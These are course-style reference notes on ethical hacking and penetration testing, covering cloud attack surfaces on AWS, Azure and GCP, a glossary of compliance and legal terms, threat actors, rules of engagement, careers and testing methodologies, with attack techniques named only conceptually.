CloudTrail	API logging service	Attacker detection evasion analysis
GuardDuty	Threat detection service	Testing detection capability
WAF	Web Application Firewall	WAF bypass techniques

AWS Penetration Testing Concerns:

Shared Responsibility Model: AWS is responsible for the security "of" the cloud (infrastructure); the customer is responsible for security "in" the cloud (configurations, IAM policies, data protection). Penetration testing tests the customer's responsibilities.
S3 Bucket Misconfigurations: One of the most common findings in AWS assessments. Public S3 buckets have caused numerous high-profile data breaches.
IAM Privilege Escalation: Over-privileged IAM roles and users are extremely common and can allow attackers to escalate from low-privileged access to full AWS account control.
Instance Metadata Service (IMDS): EC2 instance metadata can expose AWS credentials if SSRF (Server-Side Request Forgery) vulnerabilities exist in applications running on EC2. IMDSv2 mitigates this risk.

Microsoft Azure

Microsoft's cloud platform, the second-largest cloud provider by market share. Dominant in enterprise environments due to deep integration with Active Directory.

Service	Description	Penetration Testing Relevance
Azure AD (Entra ID)	Cloud identity and access management	Identity attacks, OAuth abuse, privilege escalation
Azure VMs	Virtual machines	Compute-level testing
Azure Blob Storage	Object storage	Public blob container exposure
Azure SQL	Managed SQL database	Database security testing
Azure Kubernetes Service (AKS)	Managed Kubernetes	Container and orchestration security
Azure Functions	Serverless compute	Serverless-specific vulnerabilities
Azure Key Vault	Secrets management	Secret exposure, access control weaknesses
Azure Defender	Cloud security posture management	Detection and response capabilities
Azure AD Conditional Access	Risk-based access control	Bypass techniques and policy gaps

Azure-Specific Security Concerns:

Azure AD (Entra ID) Attacks: With so many enterprises using Azure AD for identity, attacks targeting Azure AD (password spraying, OAuth phishing, token theft) are increasingly common. Tools like ROADtools, BloodHound (with Azure plugin), and AAD Internals are used by penetration testers.
Service Principal Abuse: Service principals in Azure are equivalent to service accounts — they are frequently over-privileged and can be leveraged for lateral movement and privilege escalation.
Managed Identity Abuse: Azure Managed Identities (similar to AWS IAM roles for EC2) can be abused if an application is compromised.

GCP — Google Cloud Platform

Google's cloud platform, third-largest by market share. Strong in data analytics, machine learning, and containerization (Google invented Kubernetes).

Service	Description	Penetration Testing Relevance
Compute Engine	Virtual machines	Compute-level testing
Cloud Storage	Object storage	Public bucket exposure
Cloud SQL	Managed relational database	Database security
GKE	Google Kubernetes Engine	Container and orchestration security
Cloud Functions	Serverless compute	Serverless vulnerabilities
IAM	Identity and access management	Privilege escalation, service account abuse
Secret Manager	Secrets management	Secret exposure
Cloud Run	Container-based serverless	Container escape, environment variable exposure

The Shared Responsibility Model

All three major cloud providers operate on a Shared Responsibility Model — the division of security responsibilities between the cloud provider and the customer:

┌────────────────────────────────────────────────────────────────┐
│                    CUSTOMER RESPONSIBILITY                      │
│  Data Classification and Encryption                            │
│  Identity and Access Management                                │
│  Application Security                                          │
│  Operating System Patches (IaaS only)                         │
│  Network Traffic Protection (configurations)                   │
├────────────────────────────────────────────────────────────────┤
│                 SHARED RESPONSIBILITY                           │
│  Patch Management (PaaS: provider patches OS)                  │
│  Security Configuration                                        │
│  Awareness and Training                                        │
├────────────────────────────────────────────────────────────────┤
│                 CLOUD PROVIDER RESPONSIBILITY                   │
│  Physical Data Center Security                                 │
│  Host Infrastructure (hardware)                                │
│  Network Infrastructure                                        │
│  Hypervisor Security                                           │
└────────────────────────────────────────────────────────────────┘

Service Model Impact:
IaaS (EC2, Azure VM, GCE) → Customer responsible for most of the stack
PaaS (Elastic Beanstalk, App Service) → Provider manages OS, customer manages application
SaaS (Office 365, Salesforce) → Provider manages nearly everything

Penetration Testing Implication: Cloud penetration tests test the customer's layer of the shared responsibility model, not the cloud provider's infrastructure.

2.6 Master Glossary — All Critical Terms for This Module

This glossary provides comprehensive definitions for every term, acronym, technology, role, and concept covered in Module 2. It is organized alphabetically and designed as a standalone reference.

ALE — Annual Loss Expectancy

The expected monetary loss for an asset due to a risk over a one-year period. Calculated as: ALE = ARO × SLE. Used in risk quantification and ROI calculations for security investments.

ARO — Annual Rate of Occurrence

The estimated frequency with which a threat is expected to occur within a year. Used in quantitative risk calculations.

ATO — Authority to Operate

An official decision by a designated authorizing official (typically in government contexts) that a system is authorized to operate, accepting the residual risk after security controls have been implemented. Required for federal systems under FISMA and for cloud services under FedRAMP.

Authorization

The explicit, documented permission granted by the legal owner of a system or network for a penetration tester to conduct security testing. The most critical legal protection for an ethical hacker.

BAA — Business Associate Agreement

A contract required by HIPAA between a covered entity and any third party (business associate) that may handle Protected Health Information (PHI) on its behalf. Penetration testers working in healthcare environments must have a BAA in place before testing begins.

Black Box Testing

A penetration testing methodology in which the tester is given no prior information about the target environment. Simulates an external attacker with no insider knowledge.

CDE — Cardholder Data Environment

The people, processes, and technology that store, process, or transmit cardholder data (including PAN) or sensitive authentication data. The boundary of the CDE determines the scope of PCI DSS compliance requirements and penetration testing.

CCPA — California Consumer Privacy Act

California state law providing consumers with rights over their personal information and imposing privacy and security obligations on businesses serving California residents.

CEH — Certified Ethical Hacker

A professional certification issued by EC-Council validating knowledge of hacking tools, techniques, and concepts used in ethical hacking.

CFAA — Computer Fraud and Abuse Act

The primary U.S. federal statute criminalizing unauthorized access to computer systems (18 U.S.C. § 1030). The legal boundary that separates ethical hacking from criminal hacking.

CISO — Chief Information Security Officer

The senior executive responsible for the organization's information security strategy, program, and operations. Typically the highest-ranking signing authority for penetration testing engagements.

CIO — Chief Information Officer

The senior executive responsible for the organization's information technology strategy and infrastructure.

CTO — Chief Technology Officer

The senior executive responsible for the organization's technical strategy, often including product development and R&D.

CMA — Computer Misuse Act 1990

The primary UK statute criminalizing unauthorized access to computer systems.

Compliance

The state of conforming to a specification, policy, standard, or law. In cybersecurity, compliance with frameworks like PCI DSS, HIPAA, and GDPR is often required by law or contractual obligation.

CVD — Coordinated Vulnerability Disclosure

The process of responsibly disclosing a vulnerability to the affected vendor before public disclosure, allowing the vendor time to develop and release a patch.

CVSS — Common Vulnerability Scoring System

An open framework for communicating the characteristics and severity of software vulnerabilities. CVSS scores range from 0.0 (None) to 10.0 (Critical).

Data Controller

Under GDPR, the entity that determines the purposes and means of processing personal data.

Data Processor

Under GDPR, the entity that processes personal data on behalf of the data controller.

DFIR — Digital Forensics and Incident Response

The discipline of investigating security incidents through forensic analysis and coordinating the response to contain, eradicate, and recover from threats.

DPA — Data Processing Agreement

A contract required under GDPR between a data controller and a data processor, specifying data protection obligations.

DPO — Data Protection Officer

A role required under GDPR for certain organizations, responsible for ensuring GDPR compliance.

EAR — Export Administration Regulations

U.S. regulations controlling the export of dual-use goods and technologies, including many cybersecurity tools.

ECPA — Electronic Communications Privacy Act

U.S. law prohibiting unauthorized interception of electronic communications. Relevant to penetration testing activities involving packet capture.

ePHI — Electronic Protected Health Information

Protected Health Information (PHI) that is created, stored, transmitted, or received in electronic form. Subject to the HIPAA Security Rule.

FAIR — Factor Analysis of Information Risk

A quantitative framework for measuring and managing information risk in financial terms.

FedRAMP — Federal Risk and Authorization Management Program

A U.S. government program providing a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services used by federal agencies.

FISMA — Federal Information Security Management Act

U.S. federal law requiring federal agencies to develop, document, and implement information security programs.

GDPR — General Data Protection Regulation

The EU's comprehensive data protection regulation, effective May 2018. Applies to any organization processing personal data of EU/EEA residents, regardless of the organization's location.

GLBA — Gramm-Leach-Bliley Act

U.S. federal law requiring financial institutions to protect consumers' private financial information.

GRC — Governance, Risk, and Compliance

An integrated framework for aligning IT activities with business goals (governance), managing threats (risk), and ensuring adherence to laws and regulations (compliance).

Grey Box Testing

A penetration testing methodology in which the tester is given partial information about the target environment. The most common approach in professional penetration testing.

HIPAA — Health Insurance Portability and Accountability Act

U.S. federal law protecting the privacy and security of Protected Health Information (PHI). Requires covered entities to implement security safeguards for ePHI.

IAM — Identity and Access Management

The framework of policies and technologies ensuring that the right users have the right access to the right resources.

IMDS — Instance Metadata Service

An AWS service that provides information about EC2 instances. Can be exploited via SSRF vulnerabilities to obtain AWS credentials.

Inherent Risk

The level of risk that exists before any security controls are applied.

IP — Intellectual Property

Intangible creations of the human intellect, including patents, trademarks, copyrights, and trade secrets. Penetration testers may encounter client IP during engagements and must protect it appropriately.

ISA — Internal Security Assessor

A PCI DSS role — an individual certified by the PCI SSC to conduct self-assessments of their own organization's PCI DSS compliance.

ISM — Information Security Manager

A management role responsible for implementing and managing day-to-day information security operations.

ISSA — Information Systems Security Association

A professional organization for cybersecurity professionals with its own Code of Ethics.

ITAR — International Traffic in Arms Regulations

U.S. regulations controlling the export of defense-related articles and services.

JAB — Joint Authorization Board

The primary governing body of FedRAMP, composed of CIOs from DoD, DHS, and GSA.

Kill Switch

The pre-agreed emergency stop procedure for immediately halting a penetration test.

LOA — Letter of Authorization

A specific document explicitly authorizing a named party to conduct penetration testing on defined systems within a defined timeframe.

MSA — Master Service Agreement

A contract establishing the general terms and conditions governing the overall business relationship between a service provider and a client, under which individual SOWs are executed.

MTBF — Mean Time Between Failures

The average time between system failures. An SLA metric.

MTTR — Mean Time to Repair

The average time required to restore a failed system. An SLA metric.

NDA — Non-Disclosure Agreement

A legally binding contract establishing a confidential relationship between parties, prohibiting disclosure of specified information.

NIST — National Institute of Standards and Technology

A U.S. federal agency that develops technology, metrics, and standards. NIST publishes the Special Publication (SP) 800 series — the most widely referenced cybersecurity standards and guidelines.

NIST RMF — Risk Management Framework

NIST SP 800-37: A structured process for integrating security and risk management into the system development life cycle.

NIST SP 800-57

NIST Special Publication 800-57: "Recommendation for Key Management." Provides guidance on cryptographic key management practices and standards.

NIST SP 800-115

NIST Special Publication 800-115: "Technical Guide to Information Security Testing and Assessment." The primary NIST guidance document for penetration testing methodology.

NPI/NPPI — Nonpublic Personal Information

Under GLBA, any personally identifiable financial information that is not publicly available. Includes account numbers, Social Security numbers, income, and financial history.

OCTAVE — Operationally Critical Threat, Asset, and Vulnerability Evaluation

A risk-based strategic assessment methodology developed at Carnegie Mellon University.

PAN — Primary Account Number

The 16-digit (or variable-length) number embossed on a payment card. The most sensitive piece of cardholder data under PCI DSS.

PCI DSS — Payment Card Industry Data Security Standard

The set of security standards established by the PCI Security Standards Council to protect cardholder data. Applies to all organizations that store, process, or transmit cardholder data.

PCI SSC — PCI Security Standards Council

The organization founded by major card brands (Visa, Mastercard, Amex, Discover, JCB) that maintains the PCI DSS and certifies QSAs, PFIs, and ISAs.

PFI — PCI Forensic Investigator

A company certified by the PCI SSC to conduct forensic investigations of payment card data breaches.

PHI — Protected Health Information

Under HIPAA, any individually identifiable health information held by a covered entity or its business associates.

PII — Personally Identifiable Information

Any information that can be used to identify a specific individual. The definition varies by jurisdiction and regulation.

Purple Team

A collaborative security exercise where red team (offensive) and blue team (defensive) work together simultaneously to maximize learning and improve both attack simulation and detection capabilities.

QSA — Qualified Security Assessor

A company and individual certified by the PCI SSC to perform PCI DSS compliance assessments.

Red Team

A group of security professionals who simulate adversarial attacks on an organization using real-world tactics, techniques, and procedures (TTPs) to test the organization's defenses.

Residual Risk

The risk that remains after security controls have been applied.

Risk Appetite

The level of risk an organization is willing to accept in pursuit of its objectives.

Risk Tolerance

The acceptable variation in outcomes relative to the stated risk appetite.

ROE — Rules of Engagement

A document defining the specific technical and procedural parameters within which a penetration test will be conducted.

ROI — Return on Investment

A measure of the profitability or value of an investment relative to its cost. In security, ROI of penetration testing is calculated by comparing risk reduction value to the cost of the engagement.

RPO — Recovery Point Objective

The maximum acceptable amount of data loss measured in time, defining how far back in time a recovery must go.

RTO — Recovery Time Objective

The maximum acceptable time to restore a system or service after a disruption.

SAQ — Self-Assessment Questionnaire

A PCI DSS validation tool for merchants and service providers permitted to self-assess their compliance.

SDLC — Software Development Life Cycle

The process of planning, creating, testing, deploying, and maintaining software. Security testing (including penetration testing) should be integrated into the SDLC.

Shared Responsibility Model

The division of security responsibilities between a cloud provider and its customers. The provider secures the cloud infrastructure; the customer secures what they put in the cloud.

SLA — Service Level Agreement

A contract between a service provider and a client defining the expected level of service, including response times, availability, and performance metrics.

SLE — Single Loss Expectancy

The monetary value expected to be lost in a single occurrence of a risk event. Calculated as: SLE = Asset Value × Exposure Factor.

SOC — Security Operations Center

A centralized unit that employs people, processes, and technology to continuously monitor and improve an organization's security posture while preventing, detecting, analyzing, and responding to cybersecurity incidents.

SOC 2 — System and Organization Controls 2

An AICPA auditing procedure for service organizations that assesses controls relevant to the Trust Services Criteria: Security, Availability, Processing Integrity, Confidentiality, and Privacy.

SOW — Statement of Work

A formal document describing the specific work to be performed, deliverables, timeline, and compensation for a specific engagement. Operates within the framework of the MSA.

SOX — Sarbanes-Oxley Act

U.S. federal law requiring publicly traded companies to maintain adequate internal controls over financial reporting. Section 404 is most relevant to IT security.

SSRF — Server-Side Request Forgery

A web application vulnerability where the server is manipulated into making requests to unintended locations, potentially exposing cloud instance metadata or internal services.

Threat Intelligence

Evidence-based knowledge about existing or emerging threats to assets, including context, mechanisms, indicators, implications, and actionable advice.

Tokenization

The process of replacing sensitive data (such as PAN) with a non-sensitive substitute (a token) that retains the data format but has no exploitable value.

TTP — Tactics, Techniques, and Procedures

The behavior patterns of threat actors. Tactics are high-level objectives; techniques are the methods used to achieve them; procedures are the specific implementations. The MITRE ATT&CK framework catalogs TTPs.

Truncation

The removal of segments of sensitive data so that only a portion is retained and stored. Under PCI DSS, only the first six and last four digits of a PAN may be displayed.

Uptime SLA

A contractual commitment to a specific percentage of service availability (e.g., 99.9% = approximately 8.7 hours of downtime per year; 99.99% = approximately 52 minutes per year).

VPN — Virtual Private Network

An encrypted tunnel over a public network that creates a private network connection. Used in penetration testing to provide testers with internal network access for internal assessments.

Vulnerability

A weakness in a system, process, application, or control that can be exploited by a threat actor to gain unauthorized access or cause harm.

White Box Testing

A penetration testing methodology in which the tester is provided with comprehensive documentation about the target environment, including network diagrams, configurations, and potentially source code.

WISP — Written Information Security Program

A comprehensive, documented security program required by certain regulations (GLBA Safeguards Rule). Defines the organization's security policies, procedures, and controls.

Zero-Day

A vulnerability that is unknown to the software vendor and for which no patch exists. Particularly dangerous because defensive tools and signatures do not yet exist for it.

— End of Module 2: Planning and Scoping a Penetration Testing Assessment —

Module 1: Ethical Hacking & Penetration Testing — Professional Reference Notes

Rençber AKMAN — Tue, 28 Jul 2026 12:16:13 +0000

A comprehensive, industry-grade knowledge base built from the Cisco Networking Academy "Ethical Hacker" curriculum, expanded with professional terminology, frameworks, tools, cloud concepts, career roles, and real-world practices used across the cybersecurity industry. This document is structured module-by-module, mirroring the official course outline, but goes significantly beyond it to provide the depth required for mid/senior-level practitioner readiness.

Module 1: Introduction to Ethical Hacking and Penetration Testing
Module 2: Planning and Scoping a Penetration Testing Assessment
Module 3: Information Gathering and Vulnerability Scanning
Module 4: Social Engineering Attacks
Module 5: Exploiting Wired and Wireless Networks
Module 6: Exploiting Application-Based Vulnerabilities
Module 7: Cloud, Mobile, and IoT Security
Module 8: Performing Post-Exploitation Techniques
Module 9: Reporting and Communication
Module 10: Tools and Code Analysis

MODULE 1: Introduction to Ethical Hacking and Penetration Testing

1.0 Introduction

1.0.1 Why This Module Matters

Before a security professional can run a single scan or write a single exploit, they must understand the legal, ethical, procedural, and conceptual foundation that separates a criminal hacker from a paid security professional. This single distinction — authorization — is the most important concept in the entire field of offensive security. Every tool, technique, and methodology covered in later modules is meaningless (and illegal) without it.

This module establishes:

What ethical hacking and penetration testing actually are (and are not)
The business and risk-management reasons organizations pay for these services
The different categories of threat actors and how they differ from ethical hackers
The formal methodologies/frameworks that govern professional engagements
How to build a safe, legal, isolated lab environment to practice in

1.0.2 Module Objectives Mapped to Course Topics

Topic	Goal
Understanding Ethical Hacking and Penetration Testing	Explain the importance of ethical cyber attacks and penetration testing
Exploring Penetration Testing Methodologies	Explain different penetration testing methodologies and frameworks
Setting Up Your Own Lab	Configure a virtual machine for your penetration testing learning experience

1.1 Understanding Ethical Hacking and Penetration Testing

1.1.1 Core Definitions

Hacking (neutral definition): The act of identifying and exploiting weaknesses in a computer system or network to gain access to data, functionality, or resources that were not intended to be accessible. The term itself is morally neutral — intent and authorization determine whether an act is criminal or professional.

Ethical Hacking: The practice of using the same tools, techniques, and mindset as malicious attackers (black-hat hackers), but doing so legally, with explicit written permission, for the purpose of identifying and helping remediate security weaknesses before criminals can exploit them. Ethical hackers are also called White-Hat Hackers.

Penetration Testing (Pen Testing / PenTest): A formal, authorized, simulated cyberattack against a computer system, network, web application, or organization, performed to evaluate the security of the system. Penetration testing is a subset of ethical hacking — it is the structured, scoped, contractually-defined engagement type, whereas "ethical hacking" is the broader philosophy/discipline.

Vulnerability Assessment (VA): A related but distinct discipline — the process of identifying, quantifying, and prioritizing (ranking) vulnerabilities in a system, typically via automated scanning, without actively exploiting them. A penetration test goes further by attempting to exploit findings to prove real-world impact.

Term	Goal	Exploitation?	Depth
Vulnerability Assessment	Find & list weaknesses	No	Broad, shallow
Penetration Testing	Prove exploitability & impact	Yes (controlled)	Narrow, deep
Red Teaming	Simulate full adversary campaign, test detection/response	Yes, stealthy	Very deep, organization-wide
Bug Bounty	Crowdsourced vulnerability discovery	Sometimes	Varies, continuous
Security Audit	Compliance/policy/configuration review	No	Broad, document-driven

1.1.2 Why Do We Need to Do Penetration Testing?

Organizations invest in penetration testing for several converging business and technical reasons:

Proactive Risk Identification — Find and fix vulnerabilities before adversaries (criminal hackers, nation-state actors, insiders) exploit them. This is the core value proposition of offensive security: cost of a controlled, friendly breach simulation is always cheaper than the cost of a real breach.
Regulatory & Compliance Requirements — Many laws, standards, and frameworks mandate periodic penetration testing:
- PCI DSS (Payment Card Industry Data Security Standard) — Requirement 11.3 mandates annual and post-change penetration testing for any organization that stores, processes, or transmits cardholder data.
- HIPAA (Health Insurance Portability and Accountability Act) — U.S. healthcare data protection law; encourages risk assessments including penetration testing.
- GDPR (General Data Protection Regulation) — EU data protection law; Article 32 requires "regular testing, assessing and evaluating the effectiveness" of security measures.
- SOC 2 (System and Organization Controls 2) — Trust Services Criteria audit common for SaaS companies; often requires evidence of pen testing.
- ISO/IEC 27001 — International information security management standard; Annex A controls reference technical vulnerability management and testing.
- NIST 800-53 / FedRAMP — U.S. federal government and cloud-service-provider security control frameworks requiring "Security Assessment" (CA family controls), including penetration testing for cloud authorization (ATO — Authority to Operate).
- NYDFS Cybersecurity Regulation (23 NYCRR 500) — New York State financial regulation requiring annual penetration testing.
Insurance Requirements — Cyber-insurance underwriters increasingly require proof of regular security testing to issue or renew policies, and may reduce premiums for organizations with mature testing programs.
Validating Defensive Controls — Confirms that firewalls, IDS/IPS, EDR, SIEM, and detection/response processes actually work as intended ("trust but verify").
Third-Party / Supply Chain Assurance — Enterprise customers (especially in B2B SaaS) routinely require vendors to provide a recent penetration test report before signing contracts.
Incident Preparedness — A pentest engagement often doubles as a tabletop exercise, testing whether the Security Operations Center (SOC) and Incident Response (IR) team detect and respond to the simulated attack.
Reputation and Trust Protection — A public breach can permanently damage brand trust and stock price; testing is a preventive investment.
Mergers & Acquisitions (M&A) Due Diligence — Acquiring companies often commission penetration tests of target companies' infrastructure before finalizing a deal.

1.1.3 Threat Actors

Understanding who you are defending against (and who an ethical hacker is emulating) is essential. Threat actors are categorized by motivation, skill level, and resources.

Classification by Hat Color (Hacker Culture Terminology)

White Hat: Authorized, ethical security professional. Works for the organization or with explicit consent.
Black Hat: Malicious, unauthorized attacker motivated by personal gain, ideology, or destruction.
Grey Hat: Operates without authorization but typically without malicious intent — e.g., finds and discloses a vulnerability without permission, sometimes for recognition or to pressure a vendor to fix it. Still illegal in most jurisdictions even if well-intentioned.
Blue Hat (sometimes "Blue Team"): Often refers to external security consultants invited to test systems before launch (Microsoft's "BlueHat" conferences), or more broadly to defensive security practitioners.
Red Hat: Aggressive vigilantes who actively attack black-hat infrastructure (rare term, less standardized).

Classification by Type/Motivation

Threat Actor	Description	Typical Motivation	Skill Level
Script Kiddie	Uses pre-built tools/scripts without deep understanding	Thrill, bragging rights	Low
Hacktivist	Politically/socially motivated attacker (e.g., Anonymous)	Ideology, activism	Varies
Cybercriminal (Organized Crime)	Profit-driven, often part of organized groups; ransomware gangs, carding rings	Financial gain	Medium–High
Insider Threat	Current/former employee, contractor, or partner misusing legitimate access	Revenge, financial gain, negligence	Varies
Nation-State / APT (Advanced Persistent Threat)	State-sponsored groups with significant funding and patience (e.g., APT28/Fancy Bear, APT29/Cozy Bear, Lazarus Group)	Espionage, sabotage, geopolitical advantage	Very High
Cyberterrorist	Seeks to cause fear, disruption, or harm for ideological/political ends via critical infrastructure attacks	Ideology, terror	Varies
Competitor / Corporate Spy	Industrial espionage to steal trade secrets/IP	Financial/competitive gain	Medium–High
Gray Hat Researcher	Unauthorized but non-malicious vulnerability discovery	Recognition, curiosity	Medium–High

Key APT/Threat Intel Concepts

TTPs (Tactics, Techniques, and Procedures): The behavioral "fingerprint" of a threat actor — used to attribute attacks and build detections. Cataloged formally in the MITRE ATT&CK Framework.
IOC (Indicator of Compromise): Forensic artifact (hash, IP, domain, registry key) showing a system was compromised.
IOA (Indicator of Attack): Behavior-based signal showing an attack is in progress (more proactive than IOC).
Kill Chain: A staged model of how attacks progress (see Lockheed Martin Cyber Kill Chain in 1.2).
Threat Intelligence (CTI): The discipline of collecting and analyzing information about threat actors to inform defense; sourced from feeds like MITRE ATT&CK, MISP, commercial vendors (Recorded Future, Mandiant, CrowdStrike Falcon Intelligence).

1.1.4 The Ethical Hacker's Code: Rules of Engagement (RoE)

A penetration test is only legal when governed by an explicit, signed agreement defining:

Scope: Exact systems, IP ranges, domains, applications included/excluded.
Authorization Letter / Get Out of Jail Free Card: Written permission from a person with legal authority over the systems, often required to show law enforcement if testing triggers an alert.
Rules of Engagement (RoE): Document specifying testing windows, allowed techniques, prohibited actions (e.g., no DoS), emergency contacts, and escalation procedures.
Statement of Work (SOW): Contractual deliverable describing the engagement, timeline, and cost.
NDA (Non-Disclosure Agreement): Protects confidentiality of findings and client data.
Legal Frameworks Relevant to Authorization:
- Computer Fraud and Abuse Act (CFAA) — primary U.S. federal anti-hacking law; unauthorized access is a federal crime.
- Computer Misuse Act 1990 (UK) — UK's equivalent legislation.
- Convention on Cybercrime (Budapest Convention) — international treaty harmonizing cybercrime laws.

Golden Rule: No authorization = no penetration test. It's a crime. Always operate under signed scope documents.

1.1.5 Careers in Penetration Testing (Industry Roles & Titles)

Role	Description
Penetration Tester / Pentester	Conducts authorized simulated attacks against defined scope.
Red Teamer	Conducts long-term, stealthy, full-scope adversary simulation testing detection & response, not just vulnerabilities.
Security Consultant	Broader advisory role, often includes pentesting plus architecture/compliance guidance.
Vulnerability Analyst / Vulnerability Researcher	Specializes in discovering new vulnerabilities (sometimes 0-days) in software/hardware.
Exploit Developer	Writes weaponized code (exploits) to leverage vulnerabilities; deep low-level/reverse engineering skill.
Application Security Engineer (AppSec)	Focuses specifically on securing software (SAST/DAST, secure code review, SDLC integration).
Cloud Security Engineer/Pentester	Specializes in AWS/Azure/GCP misconfigurations, IAM abuse, container/Kubernetes security.
Social Engineer	Specializes in human-focused attacks: phishing, vishing, physical pretexting.
Red Team Operator	Senior red teamer using advanced tradecraft, C2 frameworks, OPSEC.
Purple Team Engineer	Bridges Red and Blue teams — validates detections collaboratively.
SOC Analyst (Tier 1/2/3)	Defensive (Blue Team) monitoring role; understanding this helps red teamers evade/test detection.
Incident Responder (DFIR)	Investigates and contains breaches; Digital Forensics and Incident Response.
CISO (Chief Information Security Officer)	Executive owning organizational security strategy; consumer of pentest reports.
Bug Bounty Hunter	Independent researcher submitting vulnerabilities through platforms like HackerOne, Bugcrowd, Synack, Intigriti for monetary rewards.
OSINT Analyst	Specializes in Open-Source Intelligence gathering for reconnaissance/investigations.

Common Industry Certifications (Career Roadmap Context)

Entry-Level: CompTIA Security+, CompTIA PenTest+, eJPT (eLearnSecurity Junior Penetration Tester), Cisco Ethical Hacker (this course)
Mid-Level: OSCP (Offensive Security Certified Professional) — the most respected hands-on pentest cert, CEH (Certified Ethical Hacker, EC-Council) — more theory-based, GPEN (GIAC Penetration Tester)
Advanced/Senior: OSCE3/OSEP/OSWE (Offensive Security Experienced Penetration Tester / Web Expert), CRTO (Certified Red Team Operator), GXPN (GIAC Exploit Researcher and Advanced Penetration Tester), OSED (Offensive Security Exploit Developer)
Cloud-Specific: AWS/Azure/GCP security certifications, CCSK (Certificate of Cloud Security Knowledge)
Management/GRC: CISSP (Certified Information Systems Security Professional), CISM (Certified Information Security Manager)

Where Pentesters Work

Consulting firms: NCC Group, Mandiant (Google Cloud), Trustwave SpiderLabs, Bishop Fox, IOActive, Coalfire, Rapid7
Big 4/Advisory: Deloitte, PwC, EY, KPMG (security advisory arms)
In-house Red Teams: at large tech companies (Google, Microsoft, Meta, Amazon — internal red teams)
MSSPs (Managed Security Service Providers): provide outsourced security services to multiple clients
Government/Defense: NSA, CISA, GCHQ, military cyber commands
Freelance/Independent: Bug bounty platforms, independent consulting

1.2 Exploring Penetration Testing Methodologies

1.2.1 Why Do We Need to Follow a Methodology?

A methodology provides:

Consistency & Repeatability across engagements and testers
Completeness — ensures no critical attack surface is missed
Legal Defensibility — demonstrates testing was systematic and professional, not reckless
Communication — gives clients and auditors a recognizable, standardized structure for reports
Quality Assurance — enables peer review and benchmarking

Without a methodology, testing becomes ad hoc, inconsistent, and risks both missing critical vulnerabilities and causing unintended damage.

1.2.2 The Generic Penetration Testing Phases

While specific frameworks vary in naming, nearly all converge on this generalized lifecycle:

Pre-Engagement / Planning and Scoping — Define scope, RoE, goals, legal docs, timeline (this is Module 2's focus).
Reconnaissance / Information Gathering — Passive and active collection of target information (OSINT, DNS, WHOIS, etc.).
Scanning and Enumeration — Identifying live hosts, open ports, services, versions (Nmap, etc.) and extracting detailed information (users, shares, banners).
Vulnerability Analysis / Assessment — Mapping discovered services/versions to known vulnerabilities (CVE lookups, vulnerability scanners like Nessus, OpenVAS).
Exploitation — Actively attempting to leverage vulnerabilities to gain unauthorized access (Metasploit, manual exploits, custom payloads).
Post-Exploitation — Privilege escalation, lateral movement, persistence, data exfiltration simulation, pivoting — proving full business impact.
Reporting — Documenting findings, severity (often via CVSS — Common Vulnerability Scoring System), evidence (screenshots/logs), and remediation recommendations.
Remediation Validation / Retesting — Confirming fixes were correctly applied (often a follow-up engagement).

1.2.3 Major Industry Standards and Frameworks

PTES — Penetration Testing Execution Standard

A community-driven standard defining seven phases: Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting. Widely referenced as a baseline professional methodology.

OSSTMM — Open Source Security Testing Methodology Manual

Developed by ISECOM. Focuses on a scientific, metrics-driven approach to security testing ("rigor" via the RAV — Risk Assessment Values). Covers operational security, including human, physical, wireless, telecommunications, and data network channels. Emphasizes measurable, auditable testing rather than checklist-based testing.

OWASP Testing Guide / OWASP WSTG (Web Security Testing Guide)

Produced by the Open Web Application Security Project (OWASP) — the most widely referenced standard specifically for web application penetration testing. Closely tied to the OWASP Top 10, a regularly updated list of the most critical web application security risks (e.g., Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable Components, Identification/Authentication Failures, Software/Data Integrity Failures, Logging/Monitoring Failures, SSRF). Also produces OWASP MASTG (Mobile Application Security Testing Guide) and OWASP ASVS (Application Security Verification Standard).

NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment

U.S. government standard defining testing techniques: review techniques, target identification/analysis techniques (e.g., network discovery, vulnerability scanning), and target vulnerability validation techniques (password cracking, penetration testing, social engineering). Often required for federal/government-adjacent engagements.

ISSAF — Information Systems Security Assessment Framework

An older but historically influential framework correlating each step with specific tools.

MITRE ATT&CK Framework

Not strictly a "pentest methodology" but a knowledge base of real-world adversary Tactics, Techniques, and Procedures (TTPs) organized into a matrix (Reconnaissance, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact). Used extensively by red teams to plan realistic attack simulations and by blue teams to map detection coverage. Companion frameworks: MITRE ATT&CK for Cloud, ATT&CK for ICS (industrial control systems), MITRE D3FEND (defensive countermeasure mapping), MITRE CALDERA (automated adversary emulation tool).

Lockheed Martin Cyber Kill Chain

A 7-stage model of a cyberattack: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives. Useful conceptually but criticized as overly linear/perimeter-focused compared to ATT&CK's matrix model.

Unified Kill Chain

A more modern, 18-phase model merging Cyber Kill Chain and ATT&CK concepts to better represent modern, non-linear, multi-stage attacks (especially relevant for internal network compromise/lateral movement scenarios).

Diamond Model of Intrusion Analysis

An analytical framework mapping four core features of any intrusion event: Adversary, Capability, Infrastructure, Victim — used heavily in threat intelligence to understand attacker relationships.

1.2.4 Types of Penetration Tests (By Knowledge Level)

Type	Definition	Use Case
Black Box	Tester has zero prior knowledge of target (mimics outside attacker)	Most realistic external attacker simulation
White Box (Crystal/Clear Box)	Tester has full knowledge: source code, architecture diagrams, credentials	Deep, thorough internal review; common in AppSec
Gray Box	Tester has partial knowledge (e.g., a standard user account)	Most common real-world approach — balances realism and efficiency
Double-Blind	Neither testers nor the defending blue team know the test is occurring	Tests true detection/response capability
Blind	Testers have no information; organization's security team is aware testing will occur	Standard scheduled engagement

1.2.5 Types of Penetration Tests (By Target/Scope)

Network Penetration Testing: External (internet-facing) and Internal (assumed breach/insider perspective)
Web Application Penetration Testing: Targets web apps per OWASP WSTG/Top 10
Mobile Application Penetration Testing: iOS/Android apps (OWASP MASTG, static/dynamic analysis, jailbreak/root bypass)
Wireless Penetration Testing: Wi-Fi (WPA2/WPA3 attacks), Bluetooth, RF
Cloud Penetration Testing: AWS/Azure/GCP — IAM misconfig, storage bucket exposure, serverless, container escape
Physical Penetration Testing: Testing physical access controls (badge cloning, tailgating, lock picking)
Social Engineering Assessment: Phishing campaigns, vishing (voice phishing), pretexting, USB drops
